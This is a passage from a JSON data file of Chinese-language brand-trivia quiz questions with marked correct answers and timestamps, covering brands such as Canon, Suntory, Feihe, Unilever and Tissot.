04:35:39","status":"1"},{"questionId":"9101427462","questionIndex":"3","questionStem":"童年时光适合什么年龄人群?","options":"[{\"optionId\":\"IsUSx0BRiDoEs620opcfq7YPvakkwG0LgIJe\",\"optionDesc\":\"青少年\"},{\"optionId\":\"IsUSx0BRiDoEs620opcfqv9sSSSLGNh2jYjl\",\"optionDesc\":\"中老年\"},{\"optionId\":\"IsUSx0BRiDoEs620opcfqGYFLHJ_VFEPGpfP\",\"optionDesc\":\"婴幼儿\\t\\t\"}]","questionToken":"IsUSx0BRiDoEs63ksd8E_bCk34m9z4vf9TZWXCY956Q73MYL19nO9-MGQ8KqFyj8WXMtxg5taJJn2DTTUUAwD8ca8kNnww","correct":"{\"optionId\":\"IsUSx0BRiDoEs620opcfqGYFLHJ_VFEPGpfP\",\"optionDesc\":\"婴幼儿\\t\\t\"}","create_time":"27/1/2021 04:44:17","update_time":"27/1/2021 04:44:17","status":"1"},{"questionId":"9101427463","questionIndex":"3","questionStem":"童年时光原产地是哪个国家?","options":"[{\"optionId\":\"IsUSx0BRiDoEsq20opcfqsXbliFSai1LmB4\",\"optionDesc\":\"意大利\"},{\"optionId\":\"IsUSx0BRiDoEsq20opcfqM-by9tphyxC1tc\",\"optionDesc\":\"美国\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEsq20opcfq9N_ts7Ig9MhijA\",\"optionDesc\":\"英国\"}]","questionToken":"IsUSx0BRiDoEsq3ksd8E_SdtR8dMLN3R96boHmQn_lHhix80mVJoxDhCMdSAu0wQ_9j8loExHmCtisztSonQ7hLWf27RCg","correct":"{\"optionId\":\"IsUSx0BRiDoEsq20opcfqM-by9tphyxC1tc\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:36:59","update_time":"27/1/2021 04:36:59","status":"1"},{"questionId":"9101427464","questionIndex":"5","questionStem":"领势品牌主要销售什么产品?","options":"[{\"optionId\":\"IsUSx0BRiDoEta20opcfq7SjmJiPuEKBMBGD\",\"optionDesc\":\"电脑\"},{\"optionId\":\"IsUSx0BRiDoEta20opcfqG0xDq5J5sFD5U3v\",\"optionDesc\":\"路由器\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEta20opcfqkfbNbm3AFOTjIYs\",\"optionDesc\":\"电视\"}]","questionToken":"IsUSx0BRiDoEta3isd8E_aUeWc-7ZGUK7mQekHB5FH1m75e7mH9Jj2HoI70LEtyTP1l814j1xpOWgEELK0cUH3ALyIF07A","correct":"{\"optionId\":\"IsUSx0BRiDoEta20opcfqG0xDq5J5sFD5U3v\",\"optionDesc\":\"路由器\\t\\t\"}","create_time":"27/1/2021 04:42:50","update_time":"27/1/2021 04:42:50","status":"1"},{"questionId":"9101427465","questionIndex":"2","questionStem":"领势路由器哪个功能最强?","options":"[{\"optionId\":\"IsUSx0BRiDoEtK20opcfqqDrXizh48esopnT\",\"optionDesc\":\"WIFI6\"},{\"optionId\":\"IsUSx0BRiDoEtK20opcfqCbrYoiFk8E0MHK1\",\"optionDesc\":\"Mesh组网(无缝连接)\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEtK20opcfq1VhjGlU5y0baGOv\",\"optionDesc\":\"内置天线\"}]","questionToken":"IsUSx0BRiDoEtK3lsd8E-k_doEiuq0cQDKYbs2rrJO5JQLnM4gv1gpWDLs48OmQjg4-XvoGn5A0bA-dJ2YphIKHnfCW4XQ","correct":"{\"optionId\":\"IsUSx0BRiDoEtK20opcfqCbrYoiFk8E0MHK1\",\"optionDesc\":\"Mesh组网(无缝连接)\\t\\t\"}","create_time":"27/1/2021 04:51:03","update_time":"27/1/2021 04:51:03","status":"1"},{"questionId":"9101427466","questionIndex":"4","questionStem":"领势WIFI6 Mesh路由器适合覆盖哪种户型?","options":"[{\"optionId\":\"IsUSx0BRiDoEt620opcfqHy1wLidcnGFignV\",\"optionDesc\":\"大户型\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEt620opcfq6hm14DyMZBf67rT\",\"optionDesc\":\"小户型\"},{\"optionId\":\"IsUSx0BRiDoEt620opcfqotSqCcb8x2Hkb2t\",\"optionDesc\":\"商场\"}]","questionToken":"IsUSx0BRiDoEt63jsd8E_Z_oxqpCyg4Qlpq2-PnC5Q3IB3OIHdeHT01PS3Z4_Hk4U1KWciMgWc-pnT4MoG1W5yVOTsD-nQ","correct":"{\"optionId\":\"IsUSx0BRiDoEt620opcfqHy1wLidcnGFignV\",\"optionDesc\":\"大户型\\t\\t\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"9101427467","questionIndex":"4","questionStem":"领势换新时间多久?","options":"[{\"optionId\":\"IsUSx0BRiDoEtq20opcfqLuJiFuKf8t1o-YBtQ\",\"optionDesc\":\"3年\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEtq20opcfq8GvqNUXBrkD12YSQw\",\"optionDesc\":\"1年\"},{\"optionId\":\"IsUSx0BRiDoEtq20opcfqvEPmbKDoUQiI8W-2Q\",\"optionDesc\":\"3个月\"}]","questionToken":"IsUSx0BRiDoEtq3jsd8E_eXSeyV9WS7p1i8rA8rBM78pK6XLcUx0C-veDNQV5vafLjAfI0FoUZ3OZ0wizOPBh4dSygLYuw","correct":"{\"optionId\":\"IsUSx0BRiDoEtq20opcfqLuJiFuKf8t1o-YBtQ\",\"optionDesc\":\"3年\\t\\t\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"9101427468","questionIndex":"3","questionStem":"领势是否有提供上门安装服务?","options":"[{\"optionId\":\"IsUSx0BRiDoEua20opcfqEp61DeeKGW5ENA\",\"optionDesc\":\"部分免费\"},{\"optionId\":\"IsUSx0BRiDoEua20opcfq9X-bhaRNTUHhR8\",\"optionDesc\":\"无\"},{\"optionId\":\"IsUSx0BRiDoEua20opcfqiDqY6sOQUQLIDE\",\"optionDesc\":\"付费上门\"}]","questionToken":"IsUSx0BRiDoEua3ksd8E_UJcgCObBL-2jQlf2APZVseV5VAFh3uoItsWxwDPHJLTGC2MqPHmldN_l_3E8k0Ho8sAJYojtQ","correct":"{\"optionId\":\"IsUSx0BRiDoEua20opcfqEp61DeeKGW5ENA\",\"optionDesc\":\"部分免费\"}","create_time":"27/1/2021 04:51:30","update_time":"27/1/2021 04:51:30","status":"1"},{"questionId":"9101427609","questionIndex":"3","questionStem":"佳能的LOGO是什么颜色?","options":"[{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmiQyx9ZizUkdEdaB3xg\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmigPXVJD_98idBUXTUA\",\"optionDesc\":\"红色\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmiO4rrHJZO7_XYNhK7g\",\"optionDesc\":\"黄色\"}]","questionToken":"IsUSx0BRiDi_ZLHcTKP938KiGImkVsFMV_595rs7M2DsJ_jFSGOA4ugY3nrQxPVi88ZknnzvYEGT_Em56cGvPboOh_Mtlw","correct":"{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmigPXVJD_98idBUXTUA\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"27/1/2021 04:53:34","update_time":"27/1/2021 04:53:34","status":"1"},{"questionId":"9101427627","questionIndex":"2","questionStem":"佳能相机适合什么年龄的人使用?","options":"[{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiiRE0qVSHAWgZA9b\",\"optionDesc\":\"任何年龄段都适用\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiMiBZuQZpRRFWQuh\",\"optionDesc\":\"50岁以上\"},{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiR0g3DTPvgbM1DTn\",\"optionDesc\":\"20岁以下\"}]","questionToken":"IsUSx0BRiDi9arHdTKP92KkzY3gJ6aODzN8VU86ADh7xYvdvByPy8JESu1-RHxwuZ4QQUuXZVRPlrBOmhCkogjw1FJ-u4A","correct":"{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiiRE0qVSHAWgZA9b\",\"optionDesc\":\"任何年龄段都适用\\t\\t\"}","create_time":"27/1/2021 04:35:33","update_time":"27/1/2021 04:35:33","status":"1"},{"questionId":"9101427628","questionIndex":"5","questionStem":"佳能成立时间是哪年?","options":"[{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmivlZEYiNFWalVYxP\",\"optionDesc\":\"1937年\\t\"},{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmiF9-_-xvA_ljuEDi\",\"optionDesc\":\"1957年\"},{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmiZ5a2xVrWWphF4tj\",\"optionDesc\":\"2017年\\t\"}]","questionToken":"IsUSx0BRiDi9ZbHaTKP93xe5xnGz8NeLAn93EfDscuWGQu-nAtB7jaHw_aF9vwSeeFeYUSsLSFeC01NOI78H4u7dutOsNg","correct":"{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmivlZEYiNFWalVYxP\",\"optionDesc\":\"1937年\\t\"}","create_time":"27/1/2021 04:44:18","update_time":"27/1/2021 04:44:18","status":"1"},{"questionId":"9101427629","questionIndex":"4","questionStem":"佳能总部坐落于?","options":"[{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmiOVOvgTHss3-_AA\",\"optionDesc\":\"加拿大\"},{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmiXda18uUJAtKX_Q\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmis48LBvto1viu9Y\",\"optionDesc\":\"日本\\t\"}]","questionToken":"IsUSx0BRiDi9ZLHbTKP92P2_6R7B56gHQviZU7EsKBnx975jnpqdhs_Z7AtrQkBX9q8uqCkq-fWr-aWcSnEzzoMiYJddtQ","correct":"{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmis48LBvto1viu9Y\",\"optionDesc\":\"日本\\t\"}","create_time":"27/1/2021 04:39:20","update_time":"27/1/2021 04:39:20","status":"1"},{"questionId":"9101427630","questionIndex":"2","questionStem":"佳能的广告语是什么?","options":"[{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiMYWeYd6cguVH9Q\",\"optionDesc\":\"佳能,感动不止所见\"},{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiZG0-K8CGdO5V54\",\"optionDesc\":\"佳能,记录美一瞬间\\t\"},{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiqSb7n51FwfUoHQ\",\"optionDesc\":\"佳能,感动常在\"}]","questionToken":"IsUSx0BRiDi8bbHdTKP934Ji0sfehbsLQ1s3Mu-B2VkkIbPMVlUfe6q1_BgY9RuMBCH9VHyYg2EjLvVLT3KVmG8Y3JlVNQ","correct":"{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiqSb7n51FwfUoHQ\",\"optionDesc\":\"佳能,感动常在\"}","create_time":"27/1/2021 04:50:03","update_time":"27/1/2021 04:50:03","status":"1"},{"questionId":"9101427631","questionIndex":"4","questionStem":"伊利金领冠是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiqWpZKAsAntuAFoe2g\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiLaZ9i48kQYk1OVyqQ\",\"optionDesc\":\"法国 \"},{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiVmJuTB_KFFYPeG8pg\",\"optionDesc\":\"新西兰\"}]","questionToken":"IsUSx0BRiDi8bLHbTKP93z_-VlCyMsePXmHAFfrOLB9foYpkLXQ-zrbJayLJ1D8LszhN9OeP4dDKux-yjONDXmGbxFZ-Fw","correct":"{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiqWpZKAsAntuAFoe2g\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:48:26","update_time":"27/1/2021 04:48:26","status":"1"},{"questionId":"9101427633","questionIndex":"4","questionStem":"伊利金领冠有几大中国发明专利?","options":"[{\"optionId\":\"IsUSx0BRiDi8brGMX-vmiQhw9gTH_9OhYW5pdg\",\"optionDesc\":\"1\"},{\"optionId\":\"IsUSx0BRiDi8brGMX-vmioMizmbt6FTYtxMjwA\",\"optionDesc\":\"5\"},{\"optionId\":\"IsUSx0BRiDi8brGMX-vmiDActoRHM18HAt8g4A\",\"optionDesc\":\"2\"}]","questionToken":"IsUSx0BRiDi8brHbTKP92AslsTF0u0ky3QP3MBcGXg68dHk2txrVs9Mog-PFSRIUAaJZ1lrgte5Lp_sptYqYMUvfqMZKIg","correct":"{\"optionId\":\"IsUSx0BRiDi8brGMX-vmioMizmbt6FTYtxMjwA\",\"optionDesc\":\"5\"}","create_time":"27/1/2021 04:03:34","update_time":"27/1/2021 04:03:34","status":"1"},{"questionId":"9101427634","questionIndex":"4","questionStem":"“六维易吸收”指的是金领冠旗下哪款产品?","options":"[{\"optionId\":\"IsUSx0BRiDi8abGMX-vmitT2lQetwQy2JG_s\",\"optionDesc\":\"珍护\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8abGMX-vmiTRSfJSfgbtqlHOP\",\"optionDesc\":\"睿护\"},{\"optionId\":\"IsUSx0BRiDi8abGMX-vmiO_arvCTpYJdrvQT\",\"optionDesc\":\"菁护\"}]","questionToken":"IsUSx0BRiDi8abHbTKP93__gADyXyRQnYCgyR0AEoVB1iw3-1dMJaSj4MgwCkPcQ2i569yVadwkrzgSm46esoRk9PMy4EQ","correct":"{\"optionId\":\"IsUSx0BRiDi8abGMX-vmitT2lQetwQy2JG_s\",\"optionDesc\":\"珍护\\t\\t\"}","create_time":"27/1/2021 04:43:52","update_time":"27/1/2021 04:43:52","status":"1"},{"questionId":"9101427635","questionIndex":"5","questionStem":"金领冠拥有中欧双重有机认证的奶粉是?","options":"[{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmikmvUibN2YHGpjbe\",\"optionDesc\":\"塞纳牧\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmiNfMAdXVBfOYVyWH\",\"optionDesc\":\"睿护\"},{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmifsyBicFPYBaqMhX\",\"optionDesc\":\"珍护\"}]","questionToken":"IsUSx0BRiDi8aLHaTKP939WnXDptYYgBbsGuzwOCwSmZ2nIs0E-iFrMZ5EvRLK0UCFN89dUBPScoE8iOdYnDeYU3_YnENA","correct":"{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmikmvUibN2YHGpjbe\",\"optionDesc\":\"塞纳牧\\t\\t\"}","create_time":"27/1/2021 04:40:18","update_time":"27/1/2021 04:40:18","status":"1"},{"questionId":"9101427636","questionIndex":"3","questionStem":"以下哪个不属于金领冠的业务范围? ","options":"[{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiszP0vtDjZJkksA\",\"optionDesc\":\"牛奶 \\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiWi8XQmjWWvDWyM\",\"optionDesc\":\"草饲奶粉\"},{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiJt5pHdNE3kh2S8\",\"optionDesc\":\"羊奶粉\"}]","questionToken":"IsUSx0BRiDi8a7HcTKP935Qt2ROmKwtQBiYoOPrOahmfOy66rcyOYMaMzxQEPUtDfl6YaLs8qeYiE5XIYGbg1_y14QMJIw","correct":"{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiszP0vtDjZJkksA\",\"optionDesc\":\"牛奶 \\t\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"9101427637","questionIndex":"5","questionStem":"三得利是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDi8arGMX-vmiDLOLbv36_wumlYAyw\",\"optionDesc\":\"韩国\"},{\"optionId\":\"IsUSx0BRiDi8arGMX-vmiiI_P5DzSyz5pjzR8g\",\"optionDesc\":\"日本\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8arGMX-vmidNOgYJQts2ILNxmLw\",\"optionDesc\":\"中国\"}]","questionToken":"IsUSx0BRiDi8arHaTKP92GgBGwkGbWiZwz8ujWwYMoagoS0wbVP8dkiBTwt_Z2HnaVSxN-KkXod2v3mq_dqxMxYUx4i0pw","correct":"{\"optionId\":\"IsUSx0BRiDi8arGMX-vmiiI_P5DzSyz5pjzR8g\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"27/1/2021 04:03:35","update_time":"27/1/2021 04:03:35","status":"1"},{"questionId":"9101427638","questionIndex":"2","questionStem":"三得利饮料最畅销的是哪个系列?","options":"[{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmiYtCIyOVd1ICMjYJpw\",\"optionDesc\":\"沁系列\"},{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmiLxPoEXaONbK-9eDIg\",\"optionDesc\":\"利趣咖啡系列\"},{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmitWNtmI-FWyTQ5rWRw\",\"optionDesc\":\"茶系列\\t\\t\"}]","questionToken":"IsUSx0BRiDi8ZbHdTKP93ylMh-trr7eN-QkRxADtvGKoipnxOxQ1O4l34CWYhDNYwn2MDE4hGYQlp80349ffI-h1aO9B_Q","correct":"{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmitWNtmI-FWyTQ5rWRw\",\"optionDesc\":\"茶系列\\t\\t\"}","create_time":"27/1/2021 04:44:46","update_time":"27/1/2021 04:44:46","status":"1"},{"questionId":"9101427661","questionIndex":"2","questionStem":"三得利标志的颜色是哪个?","options":"[{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmiPuqITlO9NfY3LpI\",\"optionDesc\":\"黑色\"},{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmirxWp0poC7S2BdnX\",\"optionDesc\":\"蓝色\\t\"},{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmiVHnez536dsPI23F\",\"optionDesc\":\"白色\"}]","questionToken":"IsUSx0BRiDi5bLHdTKP937-iFvqTHVUHu949v9BiyEqHtZLrPBlYSVGK2rCG327eBTXHoNlmQ6NsNwqXMw92uiDZWebczQ","correct":"{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmirxWp0poC7S2BdnX\",\"optionDesc\":\"蓝色\\t\"}","create_time":"27/1/2021 04:41:48","update_time":"27/1/2021 04:41:48","status":"1"},{"questionId":"9101427664","questionIndex":"1","questionStem":"三得利哪一年进入中国?","options":"[{\"optionId\":\"IsUSx0BRiDi5abGMX-vmiTUYm8COUskFaKA\",\"optionDesc\":\"1999年\"},{\"optionId\":\"IsUSx0BRiDi5abGMX-vmiJxXG-mvDkREKok\",\"optionDesc\":\"1899年\"},{\"optionId\":\"IsUSx0BRiDi5abGMX-vmioXgYDKFuVWv4wI\",\"optionDesc\":\"1984年\\t\\t\"}]","questionToken":"IsUSx0BRiDi5abHeTKP92GokWIbwaZtCeYvjMxQwWyrJpQi_sOQW9QAwagr0Ywcd8fWgkVcWEU3QbeQstN8ryqQIvpLiTg","correct":"{\"optionId\":\"IsUSx0BRiDi5abGMX-vmioXgYDKFuVWv4wI\",\"optionDesc\":\"1984年\\t\\t\"}","create_time":"27/1/2021 04:40:33","update_time":"27/1/2021 04:40:33","status":"1"},{"questionId":"9101427665","questionIndex":"1","questionStem":"三得利新乌龙茶在哪方面进行了重点升级?","options":"[{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiNucgJ9HCwwpd2-KwQ\",\"optionDesc\":\"瓶型\"},{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiux91RYtKqBJ1aunTQ\",\"optionDesc\":\"特级茶叶\\t\"},{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiYVOgBapHJZ4ynTZeA\",\"optionDesc\":\"包装\\t\"}]","questionToken":"IsUSx0BRiDi5aLHeTKP932D1g08GBpfDVHTaW_4Pc4XBS9J-Bkiv9qmH8LkwfYWd7m12bwfF99ydtEq32rruw7Agd_gi-g","correct":"{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiux91RYtKqBJ1aunTQ\",\"optionDesc\":\"特级茶叶\\t\"}","create_time":"27/1/2021 04:50:28","update_time":"27/1/2021 04:50:28","status":"1"},{"questionId":"9101427878","questionIndex":"5","questionStem":"飞鹤系列中富含乳铁蛋白的产品是?","options":"[{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxKxEqUldYRPKp-2S\",\"optionDesc\":\"飞帆\"},{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxUV-fNIHsvkSerAX\",\"optionDesc\":\"星飞帆\"},{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxtJb_MpKgbiQh2pt\",\"optionDesc\":\"超级飞帆\\t\\t\"}]","questionToken":"IsUSx0BRiDbzdzGz8iSUk8EwyUwMdUwojiXOQiTFk3IKmCsRHp7lcXZ91fr4PzTM4aJHRWFgggA2wZe2jTOzQN_iQ5RLVg","correct":"{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxtJb_MpKgbiQh2pt\",\"optionDesc\":\"超级飞帆\\t\\t\"}","create_time":"27/1/2021 04:37:26","update_time":"27/1/2021 04:37:26","status":"1"},{"questionId":"9101427952","questionIndex":"3","questionStem":"飞鹤的“黄金”奶源带位于?","options":"[{\"optionId\":\"IsUSx0BRiDdxseGGGvvDyFpnX82hZRhW8C2y\",\"optionDesc\":\"北纬47°\\t\\t\"},{\"optionId\":\"IsUSx0BRiDdxseGGGvvDy2DfdyQ4UZSUZnT2\",\"optionDesc\":\"南纬47°\"},{\"optionId\":\"IsUSx0BRiDdxseGGGvvDys64isuHF-VLPbBz\",\"optionDesc\":\"北纬37°\"}]","questionToken":"IsUSx0BRiDdxseHWCbPYnZO7CFMD_-M6TOYYvSyEzt197A7zCDwTOoXQPE8hnG3KviTOmT3E-wWDu1og_ZG7JOtzgwA8iw","correct":"{\"optionId\":\"IsUSx0BRiDdxseGGGvvDyFpnX82hZRhW8C2y\",\"optionDesc\":\"北纬47°\\t\\t\"}","create_time":"27/1/2021 04:35:40","update_time":"27/1/2021 04:35:40","status":"1"},{"questionId":"9101427953","questionIndex":"1","questionStem":"以下哪一位是飞鹤代言人?","options":"[{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDy8tI743_wznNT4aM\",\"optionDesc\":\"赵薇\"},{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDyhkpXWucHKAQBa9T\",\"optionDesc\":\"周迅\"},{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDyGA506HPW8hhpV5_\",\"optionDesc\":\"章子怡\\t\"}]","questionToken":"IsUSx0BRiDdxsOHUCbPYnbbdzUYxa5D__08msV66a2NWwwhek2H2cNxkGFXwHNMrVac8gIFnHoKQ0Vdhk8oXel7JVvMJjA","correct":"{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDyGA506HPW8hhpV5_\",\"optionDesc\":\"章子怡\\t\"}","create_time":"27/1/2021 04:47:25","update_time":"27/1/2021 04:47:25","status":"1"},{"questionId":"9101427955","questionIndex":"2","questionStem":"飞鹤奶粉配料表第一位是什么?","options":"[{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDy4pBz-9Ua1nW338\",\"optionDesc\":\"脱盐乳清液\"},{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDylaP7u9W_s0JbwY\",\"optionDesc\":\"脱脂乳粉\"},{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDyK5Rver2i6oqulw\",\"optionDesc\":\"生牛乳\"}]","questionToken":"IsUSx0BRiDdxtuHXCbPYnZt0c5aizz2vgJUEeZLnP8uRDjQ1KARRNtMymYzqZFdfYJw-cxKZIZmp_z27C1VPs8HohG-lOg","correct":"{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDyK5Rver2i6oqulw\",\"optionDesc\":\"生牛乳\"}","create_time":"27/1/2021 04:47:23","update_time":"27/1/2021 04:47:23","status":"1"},{"questionId":"9101427957","questionIndex":"3","questionStem":"哪一个不是联合利华工厂所在地?","options":"[{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDyHko-G2da0G_92c\",\"optionDesc\":\"沈阳\\t\\t\"},{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDylJFABHRpvbiZQ8\",\"optionDesc\":\"金山\"},{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDy4XAYwPBPviulc4\",\"optionDesc\":\"潍坊\"}]","questionToken":"IsUSx0BRiDdxtOHWCbPYmjaOX5KNT3nODMREUoSuI9ibP6F4Zo2HlRlGL7RLGZ7IsHqtObY9P4tJFS2c3XR8FhUdrecgLg","correct":"{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDyHko-G2da0G_92c\",\"optionDesc\":\"沈阳\\t\\t\"}","create_time":"27/1/2021 04:38:35","update_time":"27/1/2021 04:38:35","status":"1"},{"questionId":"9101427958","questionIndex":"3","questionStem":"哪一位是联合利华清扬品牌代言人?","options":"[{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDy84ySlrF4chdS04VCA\",\"optionDesc\":\"大S\\t\"},{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDyMsgn6n4nw0h1__hwA\",\"optionDesc\":\"c罗\\t\"},{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDyvA1hLvc7WiUQz8QWQ\",\"optionDesc\":\"周华健\"}]","questionToken":"IsUSx0BRiDdxu-HWCbPYmiJweEksWYs5aIzvwl3fE4zUmp6w5nUwhZ9ggO1xXTq6CGYzVzqugSaSqXjK1bQ42BHRSEN8Pg","correct":"{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDyMsgn6n4nw0h1__hwA\",\"optionDesc\":\"c罗\\t\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"9101427959","questionIndex":"5","questionStem":"联合利华集团成立于哪年?","options":"[{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDy7KG9waoDtY68FBWuw\",\"optionDesc\":\"1925年\"},{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDyrIf5LVeTOIeeKGbwA\",\"optionDesc\":\"1930年\"},{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDyCB1YgSF1Wm-0RB2nA\",\"optionDesc\":\"1929年\\t\"}]","questionToken":"IsUSx0BRiDdxuuHQCbPYnT9bT9kUagZj8yPQohusB-9YW2umP-fgAusPMWJhtSBjaUZcIdAY_Ce52slxMI9jIRBxVffWqg","correct":"{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDyCB1YgSF1Wm-0RB2nA\",\"optionDesc\":\"1929年\\t\"}","create_time":"27/1/2021 04:44:40","update_time":"27/1/2021 04:44:40","status":"1"},{"questionId":"9101427960","questionIndex":"2","questionStem":"以下哪个品牌不属于联合利华?","options":"[{\"optionId\":\"IsUSx0BRiDdys-GGGvvDyzV_SQ0JIAdyPM_-Uw\",\"optionDesc\":\"奥妙\"},{\"optionId\":\"IsUSx0BRiDdys-GGGvvDykTAot1yzbKYoyeP0g\",\"optionDesc\":\"植澈\"},{\"optionId\":\"IsUSx0BRiDdys-GGGvvDyMIVAWkGjRSFmHVNPw\",\"optionDesc\":\"碧浪\\t\\t\"}]","questionToken":"IsUSx0BRiDdys-HXCbPYmic5Tm4M6w4W5y0M9snb8qYuDoaRffXJeLJG0qCyCAvd3FOnFqXAHg6E5WbhxgTMHDqJsKguMQ","correct":"{\"optionId\":\"IsUSx0BRiDdys-GGGvvDyMIVAWkGjRSFmHVNPw\",\"optionDesc\":\"碧浪\\t\\t\"}","create_time":"27/1/2021 04:43:33","update_time":"27/1/2021 04:43:33","status":"1"},{"questionId":"9101427963","questionIndex":"3","questionStem":"天梭品牌成立于哪一年?","options":"[{\"optionId\":\"IsUSx0BRiDdysOGGGvvDyDeOPmf-5AZ229g\",\"optionDesc\":\"1853年\\t\\t\"},{\"optionId\":\"IsUSx0BRiDdysOGGGvvDy5SpWQ4goRm9gK0\",\"optionDesc\":\"1894年\"},{\"optionId\":\"IsUSx0BRiDdysOGGGvvDyqQkwbFTsicFEsQ\",\"optionDesc\":\"1874年\"}]","questionToken":"IsUSx0BRiDdysOHWCbPYna6QfG1bsBeDiwEhYDBP5xQV7blpwh_i3T4HAYp16_JpsBYDa1uE-G1wQWd5GaT-5Vv6m7KjEQ","correct":"{\"optionId\":\"IsUSx0BRiDdysOGGGvvDyDeOPmf-5AZ229g\",\"optionDesc\":\"1853年\\t\\t\"}","create_time":"27/1/2021 04:39:14","update_time":"27/1/2021 04:39:14","status":"1"},{"questionId":"9101428030","questionIndex":"1","questionStem":"天梭唯一以诞生地命名的系列是?","options":"[{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzvdAN-nL0hN43EzEj\",\"optionDesc\":\"弗拉明戈系列\"},{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzv6gFD9CODBd34A9u\",\"optionDesc\":\"力洛克系列\\t\\t\"},{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzvO2yhoRpTR8Oi_py\",\"optionDesc\":\"杜鲁尔系列\"}]","questionToken":"IsUSx0BRhz7DU8nhIXqo7bmcsbXNXrAdM4lcLZkXhH3RUQYOnU7EI8IH2oNC5urXKTgEivPy8hl-_JN_myLvslVJ27e-Xg","correct":"{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzv6gFD9CODBd34A9u\",\"optionDesc\":\"力洛克系列\\t\\t\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 